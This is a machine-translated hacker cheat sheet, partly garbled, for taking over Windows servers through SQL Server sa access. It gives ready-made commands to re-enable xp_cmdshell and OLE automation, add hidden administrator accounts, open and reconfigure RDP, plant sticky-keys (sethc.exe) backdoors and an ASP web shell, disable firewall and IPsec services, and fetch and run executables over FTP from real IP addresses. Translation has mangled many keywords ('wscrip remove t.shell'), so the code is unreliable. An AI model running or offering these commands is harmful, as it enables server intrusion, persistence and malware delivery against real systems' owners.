Накази на ремонт 1433 року
net user SQLДebugger list /add net localgroup administrators SQLDebugger /add
Повідомлення про помилку: Не вдалося знайти збережену процедуру 'master.. xp_cmdshell'。
Метод ремонту: дуже загальний, насправді, інші 126 127 можна ремонтувати разом,
Але xplog70.dll все інше можна виправити цією командою
xp_cmdshell нові методи відновлення Крок 1: Видалити: Процедура скидання sp_addextendedproc Процедура скидання sp_oacreate Виконавчий sp_dropextendedproc 'xp_cmdshell' Офіціант: Msg 3701, Рівень 11, Стан 5, Лінія 1 Видалити процес 'sp_addextendedproc' неможливо, оскільки він відсутній у системному каталозі. Офіціант: Msg 3701, Рівень 11, Стан 5, Процедура sp_dropextendedproc, Рядок 18 Видалити процес 'xp_cmdshell' неможливо, оскільки він відсутній у системному каталозі. Крок 2 Відновлення: DBCC addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") Пряме відновлення, незалежно від того, чи існує sp_addextendedproc
xplog70.dll виправлення:
Повідомлення про помилку: DLL xplog70.dll або один із DLL, на які посилається DLL, не вдалося змонтувати. Причина: 126 (Вказаний модуль не знайдено.) )。
Виправте XPLOG70.DLL (спочатку перевірте резервний каталог \x86\bin з файлом, а потім замініть наступний каталог)
Крок 1 Виконавчий sp_dropextendedproc 'xp_cmdshell' Крок 2 dbcc addextendedproc ("xp_cmdshell","c:\sql2ksp4\x86\binn\xplog70.dll")
Не вдалося знайти збережену процедуру 'майстер... xp_cmdshell'。 Крок 1: Процедура створення sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (власник.) Назва функції для виклику
*/ @dllname varchar(255)/* ім'я DLL, що містить функцію */ як Запустити implicit_transactions якщо @@trancount > 0 Почніть raiserror (15002,-1,-1,'sp_addextendedproc') Повернення (1) кінець DBCC addextendedproc(@functname, @dllname) Повернути (0) -- sp_addextendedproc ІДИ
Крок 2: EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
SQL Server блокував доступ до процесу 'sys.xp_cmdshell' компонента 'xp_cmdshell', оскільки цей компонент був вимкнений у рамках конфігурації безпеки для цього сервера. Системні адміністратори можуть увімкнути 'xp_cmdshell', використовуючи sp_configure. Для отримання додаткової інформації про активацію xp_cmdshell див. Конфігуратор периферійних додатків у серії SQL Server Online Books.
; EXEC sp_configure 'показати розширені опції', 1 -- ; ПЕРЕНАЛАШТУВАННЯ ЗА ДОПОМОГОЮ OVERRIDE -- ; EXEC sp_configure 'xp_cmdshell', 1 -- ; ПЕРЕНАЛАШТУВАННЯ ЗА ДОПОМОГОЮ OVERRIDE -- ; EXEC sp_configure 'показати розширені опції', 0 --
Видалити небезпечне SQL-сховище: ПРОЦЕДУРА СКИДАННЯ sp_makewebtask Виконавчий майстер... sp_dropextendedproc xp_cmdshell Виконавчий майстер... sp_dropextendedproc xp_dirtree Виконавчий майстер... sp_dropextendedproc xp_fileexist Виконавчий майстер... sp_dropextendedproc xp_terminate_process Виконавчий майстер... sp_dropextendedproc sp_oamethod Виконавчий майстер... sp_dropextendedproc sp_oacreate Виконавчий майстер... sp_dropextendedproc xp_regaddmultistring Виконавчий майстер... sp_dropextendedproc xp_regdeletekey Виконавчий майстер... sp_dropextendedproc xp_regdeletevalue Виконавчий майстер... sp_dropextendedproc xp_regenumkeys Виконавчий майстер... sp_dropextendedproc xp_regenumvalues Виконавчий майстер... sp_dropextendedproc sp_add_job Виконавчий майстер... sp_dropextendedproc sp_addtask Виконавчий майстер... sp_dropextendedproc xp_regread Виконавчий майстер... sp_dropextendedproc xp_regwrite Виконавчий майстер... sp_dropextendedproc xp_readwebtask Виконавчий майстер... sp_dropextendedproc xp_makewebtask Виконавчий майстер... sp_dropextendedproc xp_regremovemultistring Виконавчий майстер... sp_dropextendedproc sp_OACreate ПРОЦЕДУРА СКИДАННЯ sp_addextendedproc
Відновлення розширених збережених процедур Спочатку відновіть sp_addextendedproc, оператор виглядає так: По-перше: Процедура створення sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (власник.) ім'я функції для виклику */ @dllname varchar(255)/* ім'я DLL, що містить функцію */ як Запустити implicit_transactions якщо @@trancount > 0 Почніть raiserror (15002,-1,-1,'sp_addextendedproc') Повернення (1) кінець DBCC addextendedproc(@functname, @dllname) Повернути (0) -- sp_addextendedproc ІДИ
По-друге: Використання майстра Виконавчий sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll' Виконавчий sp_addextendedproc xp_dirtree,'xpstar.dll' Виконавчий sp_addextendedproc xp_enumgroups,'xplog70.dll' Виконавчий sp_addextendedproc xp_fixeddrives,'xpstar.dll' Виконавчий sp_addextendedproc xp_loginconfig,'xplog70.dll' Виконавчий sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' Виконавчий sp_addextendedproc xp_getfiledetails,'xpstar.dll' Виконавчий sp_addextendedproc sp_OACreate,'odsole70.dll' Виконавчий sp_addextendedproc sp_OADestroy,'odsole70.dll' Виконавчий sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll' Виконавчий sp_addextendedproc sp_OAGetProperty,'odsole70.dll' Виконавчий sp_addextendedproc sp_OAMethod,'odsole70.dll' Виконавчий sp_addextendedproc sp_OASetProperty,'odsole70.dll' Виконавчий sp_addextendedproc sp_OAStop,'odsole70.dll' Виконавчий sp_addextendedproc xp_regaddmultistring,'xpstar.dll' Виконавчий sp_addextendedproc xp_regdeletekey,'xpstar.dll' Виконавчий sp_addextendedproc xp_regdeletevalue,'xpstar.dll' Виконавчий sp_addextendedproc xp_regenumvalues,'xpstar.dll' Виконавчий sp_addextendedproc xp_regread,'xpstar.dll' виконавчий sp_addextendedproc xp_regremovemultistring,'xpstar.dll' Виконавчий sp_addextendedproc xp_regwrite,'xpstar.dll' Виконавчий sp_addextendedproc xp_availablemedia,'xpstar.dll'
Видаліть оператор, який розширює збережену процедуру xp_cmdshell: Виконавчий sp_dropextendedproc 'xp_cmdshell'
Відновити sql-оператор cmdshell exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Відкрийте оператор cmdshell SQL exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
Визначте, чи існує розширення сховища Виберіть count(*) з master.dbo.sysobjects, де xtype='x' та name='xp_cmdshell' Результат повернення — 1, і це нормально
Відновити xp_cmdshell exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; Виберіть count(*) з master.dbo.sysobjects, де xtype='x' та name='xp_cmdshell' Результат повернення — 1, і це нормально Інакше завантажуйте xplog7.0.dll exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
Заблокуйте sql-оператор cmdshell sp_dropextendedproc «xp_cmdshell
Один. Зміна методу пароля SA: Після підключення до SQL Comprehensive Utilization Tool виконайте команду: exec sp_password NULL, 'новий пароль', 'sa' (Підказка: використовуйте обережно!)
Два. Просто встановіть слабкий пароль.
Метод 1: Запит до розгалужувача після підключення: якщо існує (вибрати * з dbo.sysobjects, де id = object_id(N'[dbo].[ xp_cmdshell]') та OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
виконавчий sp_dropextendedproc N'[DBO]. [xp_cmdshell]'
ІДИ Потім натисніть клавішу F5, щоб виконати команду
Метод 2: Запит після підключення розгалужувача Перший крок — виконати: використати master Крок 2: sp_dropextendedproc 'xp_cmdshell' Потім натисніть клавішу F5, щоб виконати команду
DLL xpsql70.dll або один із DLL, на які посилається DLL, не можна монтувати. Причина 126 (Вказаний модуль не знайдено. ) Метод відновлення: Після запиту до з'єднання спліттера, Крок 1: sp_dropextendedproc «xp_cmdshell» Крок 2: sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
Функція xp_cmdshell недоступна в бібліотеці xpweb70.dll. Причина: 127 (Вказана програма не знайдена.) ) Метод відновлення: Після запиту до з'єднання спліттера, Крок 1 Виконання: виконати sp_dropextendedproc 'xp_cmdshell' Крок 2: виконавчий sp_addextendedproc 'xp_cmdshell', 'xpweb70.dll' Потім натисніть клавішу F5, щоб виконати команду
Якщо жоден із вищезазначених методів не підлягає відновленню, будь ласка, спробуйте додати акаунт безпосередньо за допомогою наступних методів: Після запиту до з'єднання розгалужувача, Система 2000servser: declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'
declare @shell int exec sp_oacreate 'wscrip remove t.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
XP або серверна система 2003: помилка 126! Порядок
Declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
Declare @shell int exec sp_oacreate 'wscrip remove t.shell', @shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
C:\>DIR C:\ SQL Server блокував доступ до процесу 'sys.xp_cmdshell' компонента 'xp_cmdshell', оскільки цей компонент був вимкнений у рамках конфігурації безпеки для цього сервера. Системні адміністратори можуть увімкнути 'xp_cmdshell', використовуючи sp_configure. Для отримання додаткової інформації про активацію xp_cmdshell див. Конфігуратор периферійних додатків у серії SQL Server Online Books.
Оператори, які виконує аналізатор:
EXEC sp_configure 'показати розширені опції', 1; ПЕРЕКОНФІГУРУВАТИ; EXEC sp_configure 'xp_cmdshell', 1; ПЕРЕКОНФІГУРУВАТИ;
Іноді, при виконанні вищезазначених операторів із відокремлюючим з'єднанням запиту, збережену процедуру неможливо знайти sp_addextendedproc
Обхідний шлях:
Процедура створення sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (власник.) ім'я функції для виклику */ @dllname varchar(255)/* ім'я DLL, що містить функцію */ як Запустити implicit_transactions якщо @@trancount > 0 Почніть raiserror (15002,-1,-1,'sp_addextendedproc') Повернення (1) кінець DBCC addextendedproc(@functname, @dllname) Повернути (0) -- sp_addextendedproc ІДИ Цей код вставляється у розгалужувач запитів і виконується
Explorer:
c:\windows\explorer.exe
Переглянути зміст Виконавчий master.dbo.xp_subdirs 'C:\' Список дисків Виконавчий майстер... xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0 Виберіть * з OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Виберіть * з OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');
echo Windows Registry Editor версія 5.00 >3389.reg Ехо. >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg echo "Увімкнено"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg echo "ShutdownWithoutLogon"="0" >>3389.reg echo [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg echo "TSEnabled"=dword:00000001 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg echo "Start"=dword:00000002 >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg echo "Start"=dword:00000002 >>3389.reg Echo [HKEY_USERS\. DEFAULT\Keyboard Layout\Switchle] >>3389.reg echo "Hotkey"="1" >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg echo "PortNumber"=dword:00000D3D >>3389.reg regedit /s 3389.reg
Відкрити 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --
Прохід 3389:
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;
Перегляньте порт 3389
exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'
Звичайний CMD-бекдор xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','reg_sz','c:\windows\system32\cmd.exe'
win2K йде безпосередньо до PS Mar Виконавчий майстер... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 Виберіть * з OpenRowset('microsoft.jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','Select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt& @echo бувай>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
win03-XP безпосередньо на конях PS Виконавчий майстер... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 Виберіть * з OpenRowset('microsoft.jet.oledb.4.0','; database=c:\windows\system32\ias\ias.mdb','Select shell("cmd.exe /c @echo відкрити 60.190.176.85>>net.txt&@echo Reconditeness>>net.txt&@echo 7259>>net.txt&@echo отримати 0.exe>>net.txt& @echo бувай>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")')
5. Змінити команду «бекдор» оголосити @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out виконавчий sp_oamethod @o, 'копіювати файл',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
оголосити @o int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'копіювати файл',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
Скопіювати C:\Windows\explorer.exe C:\Windows\system32\sethc.exe Скопіювати c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
оголосити @o int виконавчий sp_oacreate 'wscrip видалити t.shell', @o виходить. exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX — це команда, яку ви хочете виконати
Запишіть значення, вказане в ключі, зазначеному в реєстрі), використовуючи метод (записати bbb у ключі HKEY_LOCAL_MACHINE\SOFTWARE\aaa\aaaValue):
ВИКОНАВЧИЙ МАЙСТЕР.. xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\aaa',
@value_name='aaaЗначення',
@type='REG_SZ',
@value='bbb'
@echo відкриваю 121.22.56.5>c:\bin.txt&@echo список>>c:\bin.txt&@echo list>>c:\bin.txt&@echo отримую gzn.exe>>c:\bin.txt&@echo бувай>>c:\bin.txt&@ftp -s:c:\bin.txt&del c:\bin.txt&gzn.exe& gzn.exe&gzn.exe
Спочатку скопіюйте ftp.exe до каталогу wmpub @echo CD C:\wmpub\>c:\WMpub\in.bat&&@echo FTP -S:C:\WMpub\xiuxiu.txt>>c:\WMpub\in.bat
Open 3389 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSonnections /t REG_DWORD /d 0 /f
C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add
SQL пише речення виконавчий master.dbo.xp_subdirs 'D:\web\cdlxkj'; exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(request("SB"))%>'' '
Промоція SA Sandbox Mode ----- ---------------------- Виконавчий майстер... xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; ------------------------------------------------------- Виберіть * з OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")'); ------------------------------------------------------- Виберіть * з OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');
ЗМІНА 3389
Використане речення: Вторгнення ВИКОНАВЧИЙ МАЙСТЕР.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe'
Відновлення ВИКОНАВЧИЙ МАЙСТЕР.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value=''
Викрадення зображень
ВИКОНАВЧИЙ МАЙСТЕР.. xp_regwrite --- це редагування реєстру! @rootkey='HKEY_LOCAL_MACHINE', ---Ось ця позиція! @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc. EXE', -----Це теж позиція! @value_name='Debugger', --- це назва столу! @type='REG_SZ', --- ось що означає написання! @value='C:\WINDOWS\explorer.exe' ---- ось письмовий зміст!
Весь процес полягає у використанні майстра: xp_regwrite цей компонент виконано,
1.sql команду для запиту, чи було захоплено закріплений ключ реєстру
Виконавчий майстер... xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger'
2.sql команда захоплює функцію закріпленої клавіші реєстру і замінює її на диспетчер завдань (звісно, її можна замінити на інші потрібні команди)
xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe', 'Debugger','REG_SZ',''C:\WINDOWS\system32\taskmgr.exe'
3.sql команда для видалення функції викрадення закріпленого ключа реєстру захищає ваш сервер від експлуатації іншими
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe'
SQL файли запису
оголосити @o int, @f int, @t int @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")' exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. ComputerName' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"' exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetInfo exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) ' exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'
Скрипти без ескалації NET
struser=wscrip для видалення t.arguments(0) strpass=wscrip для видалення t.arguments(1)
set lp=createObject("Wscrip remove t.NETWORK") oz="WinNT://"&lp. ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group) Set od=ob.create("user",struser) ОД. SetPassword strpass ОД. SetInfo Set of=GetObject(oz&"/" & struser & ",user") OE. Add(of. ADsPath)
Для кожного адміністратора в oe. Учасники if struser=admin. Тоді ім'я WSCRIP видалив t.echo struser і «Успішно встановлено!» wscrip для видалення t.quit кінець, якщо Далі
Wscrip видалити t.echo struser і «Встановлення користувачів не вдалося!» Збережіть вищезазначене як користувач. Файл VBS Потім виконайте: cscrip, щоб видалити пароль від імені користувача user.vbs
Використовуючи режим пісочниці JET, ви можете вирішити проблеми, спричинені збереженими процедурами, такими як XP_cmdshell та пов'язаними бібліотеками динамічних посилань. З міркувань безпеки система за замовчуванням не вмикає режим пісочниці, тому xp_regwrite потрібно ввімкнути режим пісочниці:
Виконавчий master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0 \Engines','SandBoxMode','REG_DWORD',1
Потім виконайте команду пісочниці, щоб додати тест з іменем користувача з паролем 1234 до системи:
Виберіть * з OpenRowset('microsoft.jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')
Виберіть * з OpenRowset('microsoft.jet.oledb.4.0','; database=c:\windows \system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup адміністратори тестують /додаєте")')
Різні операційні системи мають різні шляхи і потребують модифікації відповідно до ситуації:
NT/2K: c:\winnt\system32\ XP/2003: c:\windows\system32\
Крім того, у Microsoft SQL Server 2005 деякі збережені процедури за замовчуванням закриті і вимагають команд для відкриття:
Увімкніть XP_cmdshell:
EXEC sp_configure 'показати розширені опції', 1; ПЕРЕКОНФІГУРУВАТИ; ВИКОНАВЧИЙ sp_configure 'xp_cmdshell', 1; ПЕРЕКОНФІГУРУВАТИ;
Відкрити 'OPENROWSET':
виконавчий sp_configure 'показувати розширені опції', 1; ПЕРЕКОНФІГУРУВАТИ; Виконавчий sp_configure «Розповсюджені запити з розповсюдженням»,1; ПЕРЕКОНФІГУРУВАТИ;
Увімкніть 'sp_oacreate':
виконавчий sp_configure 'показувати розширені опції', 1; ПЕРЕКОНФІГУРУВАТИ; Виконавчий sp_configure «Процедури старої автоматизації», 1; ПЕРЕКОНФІГУРУВАТИ;
Ось кілька ситуацій, коли команда виконання під SA є неправильною: 1. DLL xpsql70.dll або DLL, на яку посилається DLL, не можуть бути завантажені. Причина 126 (Вказаний модуль не знайдено. ) Ця ситуація досить поширена, і ремонт простий і простий, але є певні умови. Якщо ви можете вказати каталог у цьому випадку (у SQL Tools v2.0 є функція каталогу). Вітаю з цією ситуацією з 80% можна виправити, якщо ви можете вказати каталог, просто знайдіть шлях xplog70.dll і виконайте наступну команду. Крок 1 exec sp_dropextendedproc 'xp_cmdshell' (ця команда має видалити оригінальний cmdshell, бо він уже пішов не так) Крок 2 dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll") ; EXEC sp_configure 'показати розширені опції', 0 – Звісно, це SQL-команда, виконана за допомогою аналізатора запитів. c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll на другому кроці — це шлях xplog70.dll, цей шлях досить поширений, якщо диск C його не має, можна знайти інші літери диска. 2. Не вдається знайти функцію xp_cmdshell в бібліотеці xpweb70.dll. Причина: 127 (Вказана програма не знайдена.) ) Насправді це те саме, що й вищезазначені 126, тобто cmdshell неправильний, якщо ви знайдете резервну копію xplog70.dll використаєте наведений вище метод для виправлення. 3. Не вдалося знайти збережену процедуру «майстер». xpcmdshell У цьому випадку я бачу в Інтернеті, що метод такий: Крок 1: Видалити: Процедура скидання sp_addextendedproc Процедура скидання sp_oacreate Виконавчий sp_dropextendedproc 'xp_cmdshell' Крок 2 Відновлення: DBCC addextendedproc ("sp_oacreate","odsole70.dll") dbcc addextendedproc ("xp_cmdshell","xplog70.dll") Насправді, це все ще те саме, що й вищезазначено, якщо бути обережним, вищезазначений 126 127 не знайде лише збережену процедуру 'master:. xpcmdshell', оскільки першим кроком є видалення збереженої процедури cmdshell. Тож у цьому випадку просто виконайте другий крок вище. 4. Повідомлення про помилку: SQL Server заблокував доступ до процесу 'sys.xp_cmdshell' компонента 'xp_cmdshell', оскільки цей компонент був вимкнений у рамках конфігурації безпеки цього сервера. Системні адміністратори можуть увімкнути 'xp_cmdshell', використовуючи sp_configure. Для отримання додаткової інформації про активацію xp_cmdshell див. Конфігуратор периферійних додатків у серії SQL Server Online Books. Ця ситуація найпростіша, бо вам не потрібно ні про що думати, просто виконайте наступну команду ; EXEC sp_configure 'показати розширені опції', 1 -- ; ПЕРЕНАЛАШТУВАННЯ ЗА ДОПОМОГОЮ OVERRIDE -- ; EXEC sp_configure 'xp_cmdshell', 1 -- ; ПЕРЕНАЛАШТУВАННЯ ЗА ДОПОМОГОЮ OVERRIDE -- ; EXEC sp_configure 'показати розширені опції', 0 –
Після наведеного вище виправлення ви можете виконати команду cmd, і ви почнете підвищувати свою потужність. Зазвичай я спочатку перевіряю IP, щоб перевірити, чи це інтранет, потім роблю REG-запит HKLM\SYSTEM\CurrentControlSet\Control\Terminal "Server\WinStations\RDP-Tcp /v PortNumber" для перевірки порту терміналу, а потім netstat –an, щоб перевірити, чи відкритий термінал, і потім net user password / Додайте користувача, а потім адміністраторів локальної мережі /add Якщо все пройде добре, сервер виведе з ладу. Але в цьому процесі є багато проблем. 1. Просування чистої потужності успішне, але не може підключитися до терміналу Існують такі ситуації (1) Сервер знаходиться на внутрішньому неті. (2) Скринінг TCP/IP. Спочатку виконайте наступну команду cmd: cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, експортуйте першу частину реєстру для фільтрації TCP/IP cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, експортувати другу частину реєстру для фільтрації TCP/IP cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip», експортуючи третє місце в реєстрі щодо фільтрації TCP/IP Потім повертайтеся на диск C 1.reg, 2.reg, 3.reg, завантажте 1.reg, 2.reg 3.reg назад на жорсткий диск для редагування, знайдіть поле EnableSecurityFilters, щоб перевірити, чи значення ключа після dword дорівнює 00000000, якщо це 00000001, це означає, що адміністратор виконав фільтрацію tcp/ip, нам просто потрібно змінити 1 на 0, 2. Рег і 3.reg роблять ті ж зміни. (3) Створити політику безпеки IP. Запустіть команду cmd: cmd /c net stop policyagent, щоб зупинити сервіс IPSEC Services. Підключіть термінал знову. (4) Дозвіл на вхід терміналу, встановлений адміністратором, може використовуватися лише вказаним користувачем. (5) Фаєрвол. Запустіть команду cmd: net stop alg /ynet stop sharedaccess
2. З'являється ескалація NET, і доступ відхилено Ви можете спробувати net1 user password /add Якщо net1 також відмовляє у доступі, можна скопіювати shfit-бекдор і спробувати виконати команду cmd: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe Скопіювати c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe Якщо запитали, скопіюйте 1 файл, який виявляється успішним. Підключіть до клеми і натисніть 5 shift, щоб побачити, що з'явиться. Грайте з Kaka Explorer, тепер просто додайте користувача вручну. 3. Ескалація мережі відбувається з помилкою відмови у доступі 5 (виділення) У такому випадку не потрібно пробувати net1, можна спробувати Copy Shift backdoor, якщо копія просить скопіювати файл 0, це підтверджує, що це не вдалося. Потім можна спробувати завантажити його, якщо зможете завантажити — напряму надіслати не-мережевий інструмент ескалації енергії, який вийшов деякий час тому, і додати користувача. Але більшість таких випадків не можна завантажити, тож треба подумати. Оскільки cmd можна виконати, файл можна завантажити через cmd у форматі ftp, але суть ftp полягає в тому, щоб мати можливість писати текст або пакетну обробку. Потім можна написати текст або пакет через SQL-оператор. оголосити @o int, @f int, @t int @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'open IP' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp-акаунт' exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp-пароль' exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (без скрипта ескалації мережі) c:\en.exe' exec @ret = sp_oamethod @f, 'writeline', NULL,'bye' Після успішного виконання аналізатора запиту на диску C з'явиться 1.bat (якщо виконання успішне, але диск C відсутній, ви можете змінити папку на запис, оскільки коренева папка якого сервера забороняє запис) Потім cmd виконує ftp -s:c:\1.bat Після виконання цього ви завантажите не-мережевий скрипт ескалації на FTP диска CFT або напишете скрипт ескалації VBS безпосередньо оголосити @o int, @f int, @t int @ret int exec sp_oacreate 'scrip remove ting.filesystemobject', @o out exec sp_oamethod @o, 'createtextfile', @f out, 'c:\1.vbs', 1 exec @ret = sp_oamethod @f, 'writeline', NULL,'Set o=CreateObject( "Shell.Users" )' exec @ret = sp_oamethod @f, 'writeline', NULL,'Set z=o.create('user")' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.changePassword "password","' exec @ret = sp_oamethod @f, 'writeline', NULL,'z.setting("AccountType")=3' Потім cmd виконує cscrip, щоб видалити t c:\1.vbs 4. Попередній модуль ремонтується для виконання команд cmd, але після деяких ремонтів з'являються нові проблеми (1) Повідомлення: Під час виконання xp_cmdshell сталася помилка. Виклик 'CreateProcess' провалився з кодом помилки: '5'. Помилка 5 — це номер помилки, викликаний системою, CreateProcess — це значення створення потоку, ця генерація помилок багато в чому пов'язана з cmd.exe системних файлів: одна — видалення cmd, інша — зменшення дозволу cmd. SQL для перевірки термінальних портів і статусу відкриття: Виконавчий майстер... xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber' Отже, ключовий пункт нижче — використати дві SQL-інструкції для копіювання файлу провідника системи в шифт-бекдор системи, і наступні два оператори виконуються окремо. Ця заява копіює explorer.exe як sethc.exe Declare @o int exec sp_oacreate 